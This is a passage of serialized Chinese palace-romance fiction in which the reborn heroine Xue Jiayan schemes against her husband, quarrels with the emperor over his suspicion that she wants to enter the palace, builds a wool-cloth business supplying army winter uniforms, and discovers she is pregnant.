薛嘉言听着苗菁的话,心念一动,抬眸看向他,轻声问道:“若苗大人是我,遇到这般夫君,您会怎么办?” 苗菁抬眼,眼底寒光乍现,语气斩钉截铁:“辜负真心者,死!” 这两个字说得又冷又重,薛嘉言眼中却瞬间放出精光——她要的,就是这句话。 她缓缓走到苗菁对面的椅子上坐下,声音压得更低:“杀夫者,属大逆之罪,按律当凌迟。我虽恨他,却不想为了这等人渣,葬送自己的性命,更不想连累棠姐儿。” 苗菁何等聪明,薛嘉言这话刚落,他便瞬间明白了她的意思。不是不想杀,是想让戚少亭“死得合理”。 他挑了挑眉,身体微微前倾,语气里多了几分兴味:“偌大的京城,每日出意外的人不知凡几。有人走夜路掉了河,有人上梯子摔了跤,还有人吃错东西没了气……有时候啊,命数到了,阎王都拦不住。” 薛嘉言忍不住勾了勾唇角,眼底闪过一丝狡黠:“苗大人这么想他死?” “若不是看在你的面子上,他早该死了。”苗菁冷笑一声。 薛嘉言心中微动,没料到他竟这般重情义。只可惜,他不知道,她比任何人都想让戚少亭死。 “他近来又做了什么事,惹得你动了杀心?”薛嘉言好奇地问道。 苗菁闻言,脸色瞬间沉了下来,冷哼一声:“那厮贼心不死,竟两次跑到我府上挑拨是非!煽动徐家人来要把晓芸姐接走,若不是顾忌他是你的夫君,我早就对他下手了。” 薛嘉言听得眉头紧锁,她竟不知道戚少亭对郭晓芸这般执着,还敢上门挑拨,这不是找死是什么? 她抬眼看向苗菁,见他眼底满是杀意,便不再绕圈子,直言道:“不瞒苗大人,我也早想做个寡妇了。只是戚少亭若是随便死了,未免太便宜他。他活着的时候没给我带来半分好处,死前若能给我赚一分殊荣,才算不白活这一遭。” 苗菁眼睛一亮,瞬间明白了薛嘉言的盘算。她不仅要戚少亭死,还要借着他的死,为自己谋个好名声,甚至稳固地位。 他当即点头,语气郑重:“好!我明白你的意思了。你且等着我消息。” 几日后,苗菁奉命入宫,向姜玄回禀选秀名单上各位秀女的背景调查情况整理成册,一一禀明。 “嗯,放下吧。”姜玄听完,挥了挥手,“此事辛苦你了,下去歇息吧。” “皇上,”苗菁却站着没动,垂在身侧的手微微攥紧,低声道,“臣还有一事,需要向皇上禀明。” 姜玄抬眼,低声问道:“什么事?” 苗菁深吸一口气,小心回道:“皇上,薛主子……想要戚少亭死。” 若只是杀死戚少亭,苗菁未必要告知皇帝,可薛嘉言还想用戚少亭的死换得一些荣誉,苗菁不得不告诉皇帝。 姜玄眉心骤然蹙起,眼底闪过一丝意外。他沉声道:“朕知道了,你先下去,等朕消息。” 苗菁应声离去后,姜玄独自枯坐在龙椅上。 选秀的消息这几日怕是已传遍京城,薛嘉言此刻突然想要戚少亭死,究竟是为了什么? 他的确曾有过的那一瞬间冲动,想把薛嘉言接入宫中,让她日日陪在身边。可那也只是一瞬而已,他很快便清醒过来。 第90章 她想要做什么? 姜玄单手撑着额头思索,难道薛嘉言是想学吴苋、王娡之流,做了寡妇后入宫? 宫里并不是什么好地方,他在这里生活了二十年,没见到一个真正快乐的女人。 况且,如今后宫只有太后在,太后虽对他十分关爱,但姜玄知道,太后的心机和能力都十分厉害,似薛嘉言这般纯善温柔的女子,进宫后会被太后玩弄于股掌之间。 他喜欢薛嘉言,不想她被这深宫消磨了鲜活。况且,他早已为薛嘉言安排好了后路,诰命和财富,他都给她。 姜玄想到之前听到薛嘉言呓语,提到了高家,他听张鸿宝说起过高家和肃国公府与薛嘉言娘俩的恩怨,她们母女一直被压着欺负,他想法子给她按一个诰命,也是想让她能更有底气一些。 但若她要的不止是诰命呢?普天之下,还能有比君臣关系更不可逾越吗?想要压倒高家,捷径不就是入宫为妃吗? 姜玄抬手揉了揉眉心,最终还是决定先按兵不动,弄清楚她真正的心思再说。 几日后便是重阳,恰逢休沐。 戚少亭一大早便换上了一身崭新的宝蓝色锦袍,对着镜子反复整理着衣襟,脸上带着几分掩饰不住的笑意,匆匆出门去了。 薛嘉言看着他的背影,眼底闪过一丝冷意,随即转身吩咐司雨备好马车,前往福运粮行。 周掌柜见薛嘉言来了,连忙上前躬身行礼:“东家。” “羊毛都到了吗?”薛嘉言开门见山问道。 “都到了,”周掌柜笑着点头,语气带着几分兴奋,“都存放在通县的织坊里了。按照东家的吩咐,织工们一直在尝试在布料里加入羊毛,昨儿刚送来一块样品,您瞧瞧。”说罢,他从柜台下取出一个木盒,打开后,一块厚实柔软的布料映入眼帘。 薛嘉言伸手摸了摸,布料入手温暖,质地细腻,比寻常的棉布厚实不少,却又不失柔软。 周掌柜在一旁解释道:“这是织工们实验了好多次才成的。羊毛都经过三蒸三晒,去掉了里面的油脂,摸起来更轻盈,也不会结块。织的时候用的是棉经毛纬的织法,织机只调了七分紧,这样织出来的布料不会板硬,穿着也舒服。” 他说得起劲,眉眼间满是满意,这布料比他们预期的还要好。 薛嘉言也有些惊喜,她原只是想尝试改良布料,应对即将到来的严寒,却没料到织工们竟能织出这般好的料子。 这布料又厚又软,细看之下,表面还泛着一层细密的白色绒毛,触感与呢料颇为相似。她沉吟片刻,笑道:“这料子别叫布了,摸起来柔软厚实,像云朵一样,不如就叫‘云绒呢’吧。” “云绒呢!”周掌柜眼前一亮,连连点头,“这名字好!既贴切又好听,就叫这个!” 薛嘉言看着手中的云绒呢,心中对即将到来的严寒更有了信心。 工部军衣一部分单子已经分给她,前两日张鸿宝派人把红契和制衣标准送过来了,有了这云绒呢,她定能把军衣做得又暖和又耐用。 想到姜玄,薛嘉言的眉眼不自觉地柔和下来,嘴角也泛起一丝笑意。 她把那块云绒呢带上了,想着下次见姜玄的时候,可以给他看一看,让他知道她可不是说大话,不会辜负姜玄的信任。 从粮行出来后,她没有立刻回戚家,而是吩咐车夫:“去青瓦胡同。” 她想去那处只属于他们两人的宅子里,待上一会儿。 青瓦胡同的宅子静悄悄的,院中的柿子树叶子已落得差不多,只剩光秃秃的枝桠。 拾英和云岫正蹲在廊下摆弄几盆新买的菊花,见到薛嘉言来了,拾英立刻放下手中的小铲子,笑着迎上前:“薛主子来了!厨房正炖着羊肉汤,天冷补补身子,您今儿就在这儿吃吧?” 薛嘉言鼻尖萦绕着从厨房飘来的羊肉香气。自从知道司春曾在她最爱的羊肉里掺避子散后,很长一段时间都不想再吃羊肉,这时候闻到羊肉汤的味道,也被勾起馋虫,笑着应了。 薛嘉言去了内室,屋子暖烘烘的,空气中还残留着淡淡的龙涎香,一闻到这味道,薛嘉言的心便不自觉地软了下来。 梳妆台上放着一支青玉竹节发簪,是姜玄上次来时用的;一旁的绣墩上放着一本书,是一本山川游记,上次两人抱在一起看的;枕头边有一个小巧的暖手炉,铜胎掐丝珐琅的,是姜玄上次带来给她的,她忘记拿回去了。 薛嘉言拿起暖手炉,贴在脸颊旁,情不自禁微笑着。 自从有了这处私宅,两人之间少了许多束缚,多了肆无忌惮的放纵,每次都觉得无比畅快。姜玄已经来过七八次,这屋里的东西也渐渐多了他的痕迹,每一件都承载着两人的温存回忆。 “在看什么?” 一道低沉磁性的声音突然从门口传来,薛嘉言听出来是姜玄的声音,可还是被吓了一跳。 她抬头望去,屏风后转出一道熟悉的身影,玄色常服衬得他身姿愈发挺拔,眉眼间带着几分笑意。 薛嘉言快步扑到姜玄怀里,双手紧紧抱住他的腰。 姜玄顺势接住她,低头便吻了下来,他的手不自觉地滑到她的衣襟处,指尖灵巧地解开盘扣。 一场云雨过后,薛嘉言瘫软在姜玄怀里,脸颊泛着红晕,呼吸还带着未平的急促。 她抬手轻轻摸着姜玄的下巴,那里冒出些许青色的胡茬,刺得指尖微微发痒。 “皇上今日怎么中午就来了?”薛嘉言声音带着一丝沙哑。 姜玄收紧手臂,将她抱得更紧些,下巴抵在她的发顶,声音带着几分慵懒的疲惫:“今日休沐,看了一会奏章,头疼得厉害,便让人备了马车过来这里歇歇。果然,一进门就闻到了羊肉的香味,看来是来对了。” 薛嘉言听到他说头疼得厉害,忙道:“我给皇上按一按吧?” 上次张鸿宝送来了按摩手法,薛嘉言认真学了学,又去太医院请教了一位擅长针灸按摩的太医,自认肯定比前世按得好。 姜玄的头的确还在痛着,他便靠在薛嘉言腿上,由着她帮他按摩。 薛嘉言的手法学得不错,虽还比不上张鸿宝,却也帮姜玄缓解了痛苦,他低声赞道:“你跟张鸿宝学的?挺舒服的。” 薛嘉言道:“是张公公教我的,皇上觉得好,我再多练练。” 姜玄想起薛嘉言想要戚少亭死的事,有心想问她想要什么,不过此刻,他不想破坏这温馨的氛围,便暂时压下心头的疑虑。 门外传来拾英的声音:“主子,饭菜都备好了,请二位过去用膳吧。” 两世为人,薛嘉言还是头一次跟姜玄坐在一处吃饭,想想还有些新奇。 两人并肩走到外间的饭厅,桌上已摆好了热腾腾的菜肴:中间是一瓮冒着白气的羊肉汤,香气扑鼻;旁边摆着清炒时蔬、酱焖茄子、炸藕盒,还有一盘切得整齐的酱牛肉,都是家常菜,还温了一壶酒。 拾英站在一旁,有些局促地欠了欠身:“主子,不知道您今日会来,厨房仓促间只备了这些,菜肴有些简陋,还请您莫要怪罪。” “无妨。”姜玄在主位坐下,语气温和,“家常便饭最是暖心,这般已经很好了。” 第91章 你还想要什么? 薛嘉言喝了一口羊汤,满足地喟叹一声,眼角弯弯,对拾英笑道:“今儿的羊汤做得好。” 姜玄看她吃得开心,也跟着喝了一口,点了点头道:“不错,看赏。” 拾英笑着应了。 薛嘉言放下汤碗,拿起筷子夹了一块炸藕盒,外酥里嫩,她眼睛弯成了月牙,看向姜玄时眼底亮晶晶的:“皇上您尝尝这个,藕盒炸得正好,一点都不腻。” 说着,还夹了一块递到姜玄唇边。 姜玄微微一怔,随即张口接住,咀嚼间能尝到藕的脆嫩与肉的鲜香。他见薛嘉言吃得高兴,嘴角也不自觉地扬起,又给她夹了一筷子酱牛肉。 薛嘉言有些恍惚,她与姜玄好似一对平凡夫妻般恩爱。 饭后,薛嘉言想起带来的云绒呢,拉着姜玄的手就往内室走:“皇上,您等等,我有好东西给您看!” 她脚步轻快,像个急于分享宝藏的孩子,连带着姜玄也被她的雀跃感染,眼底漾开几分笑意,任由她牵着穿过屏风。 薛嘉言取出那块云绒呢,小心翼翼地展开铺在床边上。米白色的布料在阳光下泛着细腻的绒毛,摸上去柔软得像云朵,又带着恰到好处的厚实感。 “您看!这是织工刚织出来的,我叫它云绒呢。” 她指着布料,语气里满是骄傲,“又软又暖和,比棉布厚实软和,做冬衣再合适不过了!” 姜玄走上前,指腹拂过布料表面,绒毛细腻,触感确实极佳。 他拿起来翻来覆去看了几遍,眼中露出几分讶异,转头看向薛嘉言时,语气里满是赞赏:“这东西确实好,既轻便又保暖,这么快就能做出这种好东西,你果然有才干。” 薛嘉言被夸得有些得意,嘴角扬起大大的弧度,脸颊上泛着欢喜的红晕:“那当然!皇上别忘了,我可是在江南长大的,小时候总偷偷跑去织坊看织工们织布。不过我也就提了个想法,能真把云绒呢做出来,全靠织工们一遍遍试错,还有周掌柜盯着进度,他们才是功臣。” 姜玄看着她眼底闪烁的光,伸手轻轻摸了摸她的脸颊,低声问道:“做生意,你好像很开心?” “开心!”薛嘉言毫不犹豫地点头,眼神亮得像盛满了星光,“每天都觉得充满干劲,早上一醒来就想去问问进展。好多年我都没有这么开心过了。谢谢您,皇上,谢谢您给我这个机会。” 薛嘉言说的好多年,自然是包括前世最黑暗的那三年。 姜玄的眸色渐渐深了下去,指腹在她脸颊上轻轻摩挲,沉默片刻后,又问:“除了这些,你还想要什么?只要是朕能给的,都能给你。” 薛嘉言心中一暖,伸手搂住他的脖子,在他唇上轻轻亲了一口,小声道:“不要了,我觉得够了。” “真的够了吗?”姜玄的声音却沉了几分,眼神里多了些复杂意味。 薛嘉言脸上的笑意微微一滞,仔细打量着姜玄的神色,察觉出一丝异常。 她收敛了笑意,轻声问道:“皇上,您这是怎么了?是我哪里做的不对吗?” 姜玄沉默了许久,才缓缓开口,声音沉沉:“你想让戚少亭死?” 薛嘉言并没有太多意外,苗菁是姜玄的人,他要弄死戚少亭,还要给薛嘉言带来好处,自然不能瞒过姜玄。 她定了定神,脑海里飞速闪过许多念头:戚少亭于姜玄而言,不过是个可有可无的五品寺丞,既无过人之才,也无深厚背景,对于姜玄来说,他活不活都没什么作用。 重生以来,她与姜玄的关系进展得比前世快了太多,她能感受到他的喜欢。即便将来她成了寡妇,她也甘愿守着这处私宅,守着这份见不得光的温存,直到他厌倦的那一天。 想到“厌倦”二字,薛嘉言的心还是被轻轻揪了一下,泛着细微的疼。 她深吸一口气,迎着姜玄的目光,缓缓点头:“是,我不想他活着。” 薛嘉言眸中泛起水光,咬了咬唇,压低声音道:“我曾跟皇上说过,今冬大寒那个梦。其实我还梦到了另一件事,我梦到我与皇上初遇时,您当初给过戚少亭选择,是他自己选了要把我送给您——这样的夫君,我留着他何用?” “我从未求过他高官厚禄、飞黄腾达,嫁给他时,我所愿不过是夫妻和睦、平淡度日。可他呢?皇上您心思剔透,难道看不出他不过是拿着我当踏板,踩着我的清白谋求官位罢了!他能为了权势卖掉我,我为什么不能为了自己杀了他?” 薛嘉言说到这里,眸中水光凝结,落下一滴泪来。 姜玄垂眸看着她脸上的泪痕,手指悬在半空,顿了片刻还是伸过去轻轻拭去那一滴泪。 这一刻,姜玄想起了自己的母妃——那个被先帝强占,恨了先帝一辈子的可怜女人。 他沉默片刻,声音放得更轻:“你恨他把你送给我?” 薛嘉言毫不犹豫地点头,咬牙道:“恨!没有女人愿意遭受这样的屈辱。” 姜玄听她这样说,眸中郁色更深,薛嘉言反应过来自己似乎说错了,这样的话容易让人误解,她恨的是被夫君送去陪睡这件事,并不是恨陪姜玄。 她正要开口解释,又听姜玄冷冷问她:“那他死之后呢?” 不等她想好怎么回答,他目光锐利地锁住她,“你想要什么?是想学王娡,刘娥,抑或是虢国夫人?” 这几句话像几把冰冷的刀子,直直扎进薛嘉言的心里。她猛地愣住,定定地看着姜玄,今日所有欢喜,在这一瞬全然消散。 薛嘉言想起上次两人情动时,姜玄曾含糊问过一句“你想进宫吗”,那时她还觉得皇帝有心想纳她入宫,却原来那时一时兴起。 今日他这般直白地将“王娡、刘娥、虢国夫人”摆出来,薛嘉言才明白,原来那些缠绵时的温柔,都没能让他放下帝王的猜忌。 原来温柔乡不仅是英雄冢,也是美人冢,几个月来,姜玄的体贴让她几乎忘了,他首先是帝王,其次才是与她有私情的男人。 他可以给她财富、给她诰命,可以陪她玩风花雪月的桥段,却绝不容许她“自作主张”,更不容许她有半分超出他掌控的心思。 第92章 皇上多虑了 薛嘉言站在一个帝王的角度来想,姜玄应该以为她在选秀的当口,让戚少亭死,是为了扫清“入宫”的障碍,凭借着两人几个月的情意,挟宠入宫。 薛嘉言觉得很可笑,鼻尖泛酸。 近来坊间疯传的选秀消息,她并未放在心上。前世姜玄此时也选过秀,可秀女入宫后没多久便接连生病,加之天气严寒灾害频发,姜玄疲于应付,那些秀女最后都被送回了家,钦天监说选秀时机不对,这才招致灾祸。 她仗着自己“预知未来”,便以为这次选秀也会和前世一样不了了之,却没料到,她选在这个时候提起杀戚少亭,竟让姜玄误以为她是怕秀女入宫夺宠、想以寡妇的身份挤进宫里。 她后退一步,声音也恢复了平静道:“皇上多虑了。臣妇无王娡的志气,刘娥的野心,并没有想过进入深宫。” 薛嘉言望着姜玄,心头翻涌着酸楚与委屈,几乎要冲破胸膛。 她很想指着他的鼻子怒骂,却不敢也不能。她不得不承认,自己确实想要依赖着姜玄的权势,这是无可辩驳的事实。 她垂下眼帘,掩去眼底的不甘,哽咽道:“皇上若真要这般类比,那臣妇便做虢国夫人吧。丧夫之后,仍与皇上维持着这见不得光的私情,绝不进宫,这样,皇上可满意?” 这话带着几分自嘲,几分绝望,听得姜玄心头一紧。 他看着她泪盈于睫的模样,莫名生出一丝悔意。 方才听到她说恨戚少亭把她送给自己,他不知怎的,竟有些气血上头,一时冲动,才说出那句话。如今冷静下来,看着薛嘉言这般模样,他才意识到自己的话说得有多过分。 他想说两句软话安慰她,可帝王的骄傲让他拉不下脸,一时竟不知道该如何开口。 屋内的空气凝滞着,方才的欢情缱绻早已荡然无存。 薛嘉言深吸一口气,强忍着泪水,拿起云绒呢,小心翼翼地叠好握在手里。 她转过身,对着姜玄规规矩矩地行了一礼,声音低沉沙哑,带着几分疏离:“皇上给臣妇的已经够多了,臣妇感激不尽,不会贪心其他,请皇上放心。臣妇告退了。” 说完这句话,她不再看姜玄一眼,转身头也不回地走出内室,脚步急切而决绝。 “站住!回来!”姜玄厉喝一声。 薛嘉言顿住脚步,可自尊心让她无法回头,她只站了两息便又抬脚快步往外走。 姜玄看着她的背影消失在屏风后,张了张嘴,想要再次叫住她,可终究没有发出任何声音。只能听着她的脚步声越来越远,最终消失在院门外。 他看着空荡荡的门口,心中生出失落——他好像,真的伤了她的心。 薛嘉言几乎是逃一般地冲出青瓦胡同的宅子,司雨看出她神色不对,正要发问,薛嘉言弯腰钻进车厢,哑着嗓子道:“回家,你坐外头。” 车帘落下,将外面的天光隔绝。薛嘉言双手捂住脸,无声地哭泣,肩膀微微颤抖着。 她从来没想过要进宫。 从一开始,她就清楚自己在姜玄心中的位置,不过是个替身罢了。这份恩宠能维持多久,她自己也说不清。 进了宫墙便意味着进了一座镀金的牢笼,再也没有转圜余地,从此只能在妃嫔的勾心斗角里挣扎,与别人共享一个男人。 上一世,她嫁给戚少亭,只求安稳度日,最后却落得被当作踏脚石的下场;这一世,她步步为营,说想做虢国夫人却也不是假话,有恩宠,不进宫,对她来说已经够了。 可姜玄那句带着质疑的话,还是像针一样扎进了她心里。 薛嘉言后知后觉地明白,大半年的相处,她竟在不知不觉中,对这位帝王动了心。正因为有了一丝喜欢,才会在意他的看法,才会被他的质疑和嫌弃刺得这般难受。 她抬手擦去脸上的泪水,自嘲地笑了笑。前世万人唾骂她是“狐狸精”,她到底不是,不过是被姜玄质疑了两句,就红了眼,丢下那样两句带着赌气的话落荒而逃。 车厢外传来车轮碾压青石板的声响,单调而沉闷。薛嘉言靠在车壁上,慢慢平复着呼吸。 她从包袱里取出那块云绒呢,拂过柔软的绒毛,心中渐渐清明起来——这样也好,叫她看清楚形式,乖乖做一个等着被召唤的“外室”即可。眼下最重要的是将福运粮行和织坊的生意做好。至于那份刚刚冒头的喜欢,就当是一场荒唐的梦,醒了,也就算了。 车夫忽然放缓了车速,低声道:“奶奶,到了。” 薛嘉言深吸一口气,整理好衣襟,掀开车帘,平静地走下马车。 自霜降那日在青瓦胡同与姜玄不欢而散后,薛嘉言便将所有心思都放在了粮行与织坊上。 她像是要把心中的烦闷都化作动力,每日天不亮就起身,安排好棠姐儿一日的行程,她要么去福运粮行核对账目、调配冬季粮食储备,要么往通县的织坊跑,盯着云绒呢的量产进度。 毕竟工部军衣单子交接日期近在眼前,她必须确保布料供应万无一失。 这般连轴转的忙碌,让她几乎没空想姜玄的事,更没心思理会戚府内的琐碎。 司雨看她日日早出晚归,眼底带着疲惫,忍不住劝道:“奶奶,您也歇歇吧,身子熬坏了可怎么好?”薛嘉言却只是笑着摇头:“没事,趁着眼下天还没冷透,把事情理顺了,冬天才能安心。” 她的忙碌,落在戚少亭眼里,便觉得不对劲。 从前她虽也出门,却从未这般频繁,更重要的是,他留意到,薛嘉言已经许久未曾进宫了。 这日傍晚,薛嘉言刚从织坊回来,换下沾着灰尘的外衣,戚少亭便踱进了主院,状似随意地问道:“薛氏,你每日出门忙的什么?总不见你在家待着。” 薛嘉言头也没抬,语气敷衍:“娘临走前把娘家那几间布庄铺子交给我了,如今天冷,布帛生意正是旺季,得盯着些才放心。” “哦。”戚少亭应了一声,目光在她脸上打转,见她神色平静,又忍不住追问:“最近那位……没召你入宫?” 第93章 化悲愤为动力 薛嘉言依旧淡淡道:“近来朝政繁忙,想来皇上顾不上这些吧。” 戚少亭摸着下巴想了想,宫里最近确实事多,除了闹得沸沸扬扬的选秀,还要筹备下个月的冬至祭天,户部那边又递了奏折,说北方几省冬雪提前,恐有雪灾,需提前调拨粮草赈灾。明年是春闱,又要选拔考官,想来是真的忙。 话虽如此,他还是忍不住想讥讽薛嘉言几句,嘴角勾起一抹冷笑:“宫里在选秀呢,听说这次选上来的秀女,个个都是名门闺秀,年轻貌美。帝王情薄,如今有了新人,只怕很快就忘了旧人。” 薛嘉言缓缓转过脸看向他,收了平日里的锐利,嘴角耷拉着,做出一副柔弱可怜的模样,声音带着几分颤抖:“这可怎么办?若是他真的不要我了,以后怎么办呢?” 戚少亭见她这般模样,心中郁气散了些,正想趁势再落井下石几句,不料到薛嘉言话锋一转,朗声道:“我倒无所谓,夫君的仕途可怎么办?夫君现在才是五品寺丞,在京城这地界,不过是芝麻大的官儿。没了皇上做靠山,夫君哪还能一下子连升三级?不如夫君帮我想想办法,如何才能固宠?毕竟男人最了解男人,你肯定知道皇上喜欢什么。” “你!”戚少亭被她这番话堵得呼吸不畅,一口气差点没上来。 他原本是想讥讽薛嘉言失宠,却没料到她竟反过来将了他一军,句句都戳在他的痛处。 戚少亭心中也有些恐慌,他强装镇定,狠狠一甩袖子,咬牙道:“不知好歹!”说完,便头也不回地冲出了主院。 薛嘉言看着他仓皇离去的背影,嘲讽地笑了笑。 周掌柜从鞑靼贩回的羊毛越来越多,足足堆满了三间仓库,后续还有商队陆续送抵,通州的织坊顿时陷入了“原料过剩”的窘境。 织工们日夜赶工,织布机哒哒作响从未停歇,可羊毛运抵的速度远快于织布进度,周掌柜只得紧急又租赁了城郊三间大仓库,又从附近村落召集了三十多个手脚麻利的妇人,专门负责羊毛的蒸洗、晾晒与梳理。 这般大规模扩产,耗费自然惊人。租赁仓库、招募工人、购置皂角草木灰等洗涤用料,短短半月便花去近千两银子。 薛嘉言见状,取出一枚鎏金私印,这是张鸿宝先前按姜玄吩咐交给她的,凭此印可在京城最大的汇通钱调取银两。 她从前总觉得用姜玄的钱有些烫手,可经了霜降那日的不欢而散,这点顾虑早已烟消云散——她与帝王本就是各取所需,堂堂一国之君,睡一个女人多给些银钱,难道不是天经地义? 薛嘉言毫无顾忌地凭着私印调取了两万两银子,交由周掌柜周转。周掌柜看着数额巨大的银票,心中却满是忧虑,私下对薛嘉言道:“东家,咱们如今投入太大了。这云绒呢虽好,可冬日就这么几个月,若是卖不掉,等开春回暖,布料只能降价抛售,怕是连本钱都收不回,搞不好还要积压在仓库里发霉。” “放心,肯定都能卖掉。”薛嘉言摩挲着一块云绒呢样品,语气笃定。 为了打开销路,薛嘉言索性带着周掌柜、拾英、云岫兵分四路,各自带着云绒呢样品,还有从鞑靼换回的羊皮、狐皮、貂皮,走访京城及周边的各大布行、成衣铺。 皮毛本就是冬日紧俏货,质地优良的狐皮、貂皮一摆出来,便引得不少商行掌柜争相询价,订单很快便签下不少。 可云绒呢的销量却不尽如人意——这布料优点鲜明,轻软保暖、比棉布厚实却比绸缎轻便,可缺点也同样突出,怕潮怕蛀,清洗需格外小心,且价格比普通棉布高出三倍有余。许多掌柜拿着布样反复摩挲,虽觉得新奇,却顾虑重重,大多只愿先留下样品,观望几日再做决定。 薛嘉言对此并不着急,一一留下布样,便转头专心盯着工部的军衣订单。 福运织行是第一次承接官府单子,即便有张鸿宝提前打招呼,工部仍不敢掉以轻心,只给了五千件的份额,还特意强调“若查验不合格,不会支付任何费用”。 薛嘉言不敢怠慢,不时过去亲自监督布料裁剪、缝制,九月下旬,五千件冬季军衣终于全部完工,整齐地堆放在织坊的空地上,像一座小山。 查验那日,工部、户部、兵部各派出一名主事,还带着两名经验丰富的老吏员。其中一位吏员已年过半百,他绕着军衣堆走了一圈,随即伸手从最底层抽出一件,又从中间、顶层各取了一件,抖了抖,示意随从拿来剪刀,“咔嚓”一声剪开其中一件的袖口,仔细察看里面的内衬。 老吏员指尖捻起内衬的布料,对着光瞧了瞧,又放在鼻尖闻了闻,赞许道,“羊毛处理得干净,没有膻味,织法也密实,轻软保暖,还抗风,比往年用的棉内衬强多了。” 他又检查了另外两件的针脚与做工,均未发现瑕疵。 三位主事交换了个眼神,纷纷点头认可。不多时,查验结果便出来了:“五千件军衣,做工合格,用料上乘,符合军需标准。” 随后,工部调来的马车陆续抵达,将五千件军衣一一装车拉回工部大仓,等待后续统一调配给边防将士。 看着满载军衣的马车远去,周掌柜悬着的心终于落了地,对着薛嘉言拱手道:“东家英明!这下咱们的云绒呢算是打响名气了,往后布行的订单肯定源源不断!” 薛嘉言望着马车消失的方向,嘴角扬起一抹浅笑。这五千件军衣不仅能收回前期投入,更重要的是,有了官府的认可,云绒呢的销路自然会打开。 她转头对周掌柜道:“吩咐下去,织坊继续加大生产,另外,把工部查验合格的消息,给之前留下布样的布行都递个话。” 第94章 不见 这日,薛嘉言从粮行处理完账目,坐马车回戚家时,日头已西斜。马车行至青瓦胡同口,车夫缓缓停下了车。 云岫掀开车帘准备下车,回头轻声道:“薛主子,要不进去坐会吧?” 薛嘉言摇了摇头,嘴角牵起一抹浅淡的笑:“不了,今日累得很,还是早些回去吧。你也早点歇着。” 云岫下去后,马车重新启动,薛嘉言靠在车壁上,闭上眼,脑海里却不受控制地浮现出姜玄的身影。 事情过去十几日了,她一直用粮行和织坊的忙碌麻痹自己,可这会一闲下来,那些刻意压抑的念想便如潮水般涌来。 她抬手掐了一把自己的胳膊,痛感让她瞬间清醒了几分,低低骂了一句:“没出息。” 姜玄是帝王,身边从不缺人陪伴,储秀宫还住着几十位秀女,他定然不会像她这般牵肠挂肚。她这般胡思乱想,不过是自讨苦吃罢了。 与此同时,长宜宫内一片寂静。姜玄摊在床上,双眼盯着帐,思绪纷乱。 他至今仍搞不清自己对薛嘉言的心思不知道自己究竟想把她怎样。 储秀宫住着将近三十名秀女,他却连半点去见她们的兴致都没有,直接把选秀的事丢给了太后,按照太后的意思,先选几个家世合适的妃嫔,皇后容后再说。 秀女们陆陆续续生了病,有的风寒,有的水土不服,宫里的太医来了一波又一波,也查不出什么症结。姜原本就因薛嘉言的事心烦,见此情景,索性让内务府把所有秀女都送回了家,眼不见心不烦。 今日轮到张鸿宝伺候,他站在殿外,看着姜玄一动不动地在床上躺了一刻钟,连翻个身都没有,便端着一杯温好的参茶轻手轻脚地走进来,小声问道:“皇上,天快黑了,要不今晚把薛主子送进来陪陪您?” 姜玄闻言,摆摆手,没说话。 张鸿宝见他不愿,便放下参茶,轻轻退了出去。 第二日一早下值后,张鸿宝回了猫眼胡同的住处,让人叫了拾英过来,低声吩咐道:“拾英,你去戚家一趟,找薛主子。就说我说的,让她给皇上递一件东西,我晚上回宫的时候顺带带过去。” 拾英应下,转身便往戚家赶去。 戚家主院的正厅里,薛嘉言正陪着棠姐儿画画,见拾英来了,便让丫鬟带棠姐儿去偏房玩,自己则留拾英喝茶。 “今日怎么有空过来?可是粮行或是织行那边有什么事?” 拾英端起茶杯抿了一口,把张鸿宝的吩咐一五一十地说了。 薛嘉言听后,心中明镜似的,张鸿宝这是在让她给姜玄台阶下。她若是递了东西,姜玄定会借着这个由头见她,两人之间的别扭也就过去了。 可她沉吟片刻,还是摇了摇头,语气带着几分歉意:“拾英,多谢张公公费心了。只是我这几日身子不太舒服,还是过些日子再说吧。” 她没说假话,自从戚少亭给她下避子散后,她的月事便变得不准,有时提前,有时推迟,来的时候还伴着腹痛。 这几日她总觉得小腹坠胀,想来是月事快到了。若是这时候递了东西,姜玄召她侍寝,她偏偏来了月事,岂不是扫了他的兴致? 拾英见她态度坚决,便不再多劝,只说会把话带给张公公。 张鸿宝听拾英转述了薛嘉言的话后,也只能叹息一声,没再多说什么。 进入十月,天一夜之间便冷了下来。 呼啸的北风卷着枯叶在街巷间穿梭,一日比一日紧,早起出门的百姓们裹紧了身上的旧棉袄,忍不住对着天咒骂:“这贼老天,今年怎么冷得这么早!” 寒风凛冽,却让福运织行的生意彻底火了起来。 先前买了云绒呢做冬衣的百姓,穿上身后只觉轻软暖和,比厚重的棉袄舒服太多,抵御寒风更是不在话下,纷纷转头回购;那些之前拿着布样观望的布行掌柜,见天气骤冷、云绒呢口碑爆棚,也不再犹豫,连夜派人给福运织行送来了订单,有的甚至亲自上门,就怕晚了拿不到货。 周掌柜彻底忙得脚不沾地,每日从早到晚都在粮行与织坊之间奔波,一会儿要核对订单数量,一会儿要协调布料运输,连吃饭都只能扒拉几口应付。 薛嘉言不用日日坐镇铺子里,云岫将账目打理得越来越顺手,已能独当一面;但她作为东家,需统筹协调织坊生产、原料供应与订单交付,每日要处理的琐事依旧不少,耗费的心力半点没减。 这日晚间,薛嘉言回到戚家,浑身疲惫得只想躺下。 司雨伺候她梳洗时,看着她卸下钗环后略显苍白的脸色,犹豫了片刻,还是小声道:“奶奶,您这月的月事,已经迟了十来日了。” 薛嘉言自己也记着这件事呢,心中隐隐冒出一丝期盼,却又很快被自己压了下去。 她觉得自己想多了,戚少亭给她下的避子散虽断了,可那药性子阴毒,药效只怕没那么快消弭,怎么可能这么快就怀上? 可期盼一旦冒头,便像藤蔓般缠绕住心尖,让她辗转难眠。 第二日一早,薛嘉言原本要去通县织坊查看一番,路过街角一家医馆时,她终究按捺不住,让车夫停了车。 “你们在这儿等我。”薛嘉言整理了一下衣襟,独自走进了医馆。 薛嘉言在诊脉的小凳上坐下,将手腕放在脉枕上,声音有些发紧:“大夫,我这月的月事迟了十来日,还总觉得乏力困倦,想请您看看是怎么了。” 老大夫搭脉听了一会,笑着道:“恭喜这位奶奶,是喜脉!只是受孕的日子还短,脉象尚浅,需多注意休养,切不可太过劳累。” 薛嘉言心跳瞬间乱了节奏,耳边嗡嗡作响,连老大夫后续叮嘱的注意事项都没太听清楚。她怎么也没想到,自己竟然真的有孕了! 走出医馆时,冷风迎面吹来,薛嘉言才稍稍清醒了些。她低头摸了摸自己的小腹,那里还平坦如初,却已孕育着一个小小的生命。 第95章 找到把柄 薛嘉言靠在马车车壁上,脑海里乱糟糟的全是关于孩子的念头,各种想法都冒了出来。 